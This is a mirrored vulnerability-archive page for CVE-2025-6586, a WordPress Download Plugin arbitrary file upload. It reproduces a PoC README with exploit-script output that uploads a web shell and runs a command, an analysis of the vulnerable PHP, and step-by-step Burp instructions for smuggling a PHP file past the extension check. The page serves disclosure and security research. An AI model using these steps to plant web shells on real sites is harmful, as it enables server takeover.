Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2025-6586 PoC — Download Plugin <= 2.2.8 - Authenticated (Administrator+) Arbitrary File Upload

Source
Associated Vulnerability
Title:Download Plugin <= 2.2.8 - Authenticated (Administrator+) Arbitrary File Upload (CVE-2025-6586)
Description:The Download Plugin plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the dpwap_plugin_locInstall function in all versions up to, and including, 2.2.8. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Description
Download Plugin <= 2.2.8 - Authenticated (Administrator+) Arbitrary File Upload
Readme
# Download Plugin <= 2.2.8 - Authenticated (Admin+) Arbitrary File Upload via the dpwap_plugin_locInstall Function

The [Download Plugin](https://wordpress.org/plugins/download-plugin/) does not sanitize the file types of the `dpwap_plugin_locInstall` function
exposed via the `mul_upload` admin page, allowing administrators or above to upload arbitrary files and
potentially gain code execution on the server.

## TL;DR Exploits
A POC [cve-2025-6586.py](./cve-2025-6586.py) is provided to demonstrate an administrator uploading a web shell named `shell.php`.
```
python3 cve-2025-6586.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Web Shell Location: https://lab1.hacker/wp-
content/uploads/dpwap_logs/files/tmp/shell.php

Executing test command: ip addr
    <pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
v       alid_lft 75221sec preferred_lft 75221sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86354sec preferred_lft 14354sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
        valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02:42:77:47:94:a5 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
</pre>

```

## Details

The `dpwap_plugin_multiple_upload_func` function is exposed in the `mul_upload` admin page. On line [80](https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/Base.php#L80) of `/wp-content/plugins/download-plugin/app/Plugins/Base.php` the function includes [multiple_upload_plugin.php](https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/templates/multiple_upload_plugin.php).

```php
// multiple upload function
public function dpwap_plugin_multiple_upload_func()
{
$dpwapObj = new Dpwapuploader();
$plugin_multiple_upload_file = DPWAP_DIR . DS . 'app' . DS .
'Plugins' . DS . 'templates' . DS . 'multiple_upload_plugin.php';
include_once $plugin_multiple_upload_file;
}
```

By default the full path of $plugin_multiple_upload_file should be `/wp-
content/plugins/download-plugin/app/Plugins/templates/multiple_upload_plugin.php`.
The template will also check for a `$_POST['dpwap_locInstall']` and `$_FILES['dpwap_locFiles']['name'][0]`. If those are present it will call `$dpwapObj->dpwap_plugin_locInstall();` within the code that builds the html form on line [47](https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/templates/multiple_upload_plugin.php#L47).

```php
...
...
<div class="inside">
    <?php
        if (isset($_POST['dpwap_locInstall']) && $_FILES['dpwap_locFiles']['name'][0] != ""){
        echo '<form id="form_alldpwap" name="form_alldpwap" method="post" action="admin.php?page=activate-status">';
        echo "<div class='dpwap_main'>";
        $dpwapObj->dpwap_plugin_locInstall();
        echo "</div>";
        echo '<input class="button button-primary dpwap_allactive"
type="submit" name="dpwap_locInstall" onclick="activateAllPLugins()"
value="'. esc_attr__('Activate all', 'download-plugin').'">';
        echo '</form>';
        }
    ?>
</div>
...
...
```

As seen below, the `dpwap_plugin_locInstall` function within `/wp-content/plugins/download-plugin/app/Plugins/Dpwapuploader.php` on line [300](https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/Dpwapuploader.php#L300) will move the uploaded files to a web accessible directory, keeping the original file name and extension. Ex: `https://TARGETSITEDOMAIN/wp-content/uploads/dpwap_logs/files/tmp/shell.php`

```php
public function dpwap_plugin_locInstall(){
// Increase the resources
@ini_set( 'memory_limit', '1024M' );
@ini_set( 'upload_max_filesize', '640M' );
@ini_set( 'post_max_size', '640M' );
check_admin_referer( $this->key );
echo '<div class="dpwap_h3">'.esc_html__( 'Installing Plugins',
'download-plugin' ) .':</div>';
for ( $i = 0; $i < count( $_FILES['dpwap_locFiles']['name'] ); $i++
) {
$dpwap_locFilenm = sanitize_file_name($_FILES['dpwap_locFiles']
['name'][$i]);
if ( strpos( $dpwap_locFilenm, 'mpipluginsbackup' ) === false )
{
//Get the temp file path
$tmpFilePath = $_FILES['dpwap_locFiles']['tmp_name'][$i];
//Make sure we have a filepath
if ( $tmpFilePath != "" ) {
//Setup our new file path
$newFilePath =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/' . $dpwap_locFilenm;
//Upload the file into the temp dir
if( @move_uploaded_file( $tmpFilePath, $newFilePath ) )
{
$dpwap_tempurls[] =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/'.$dpwap_locFilenm;
}
}
}
else{
echo esc_html__('This is', 'download-plugin') .'
<b>'.esc_html($dpwap_locFilenm).'</b> '.esc_html__( 'not a valid zip
archive.', 'download-plugin' );
}
}
if( $dpwap_tempurls )
$this->dpwap_get_packages( $dpwap_tempurls, "activate", "nocreate",
"upload_locFiles" );
}
```


## Manual Reproduction
1. Login to the admin panel and navigate to `Plugins -> Add Plugin`.
2. Click the `Upload Multiple Plugins` at the top, this button is added to the UI by the [Download Plugin](https://wordpress.org/plugins/download-plugin/).
![0](./images/0.png)
3. Now from `/wp-admin/admin.php?page=mul_upload`, start BurpSuite or a similar proxy.
![1](./images/1.png)
4. Take a `php` file, and replace its extention with `zip` to pass the front end validation, and then click `Install Now`.
![2](./images/2.png)
5. Modify the intercepted request on the fly or in a Repeater tab to change the file extension back to `php`.
![3](./images/3.png)
6. Browse to the newly uploaded file to trigger code execution.
![4](./images/4.png)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →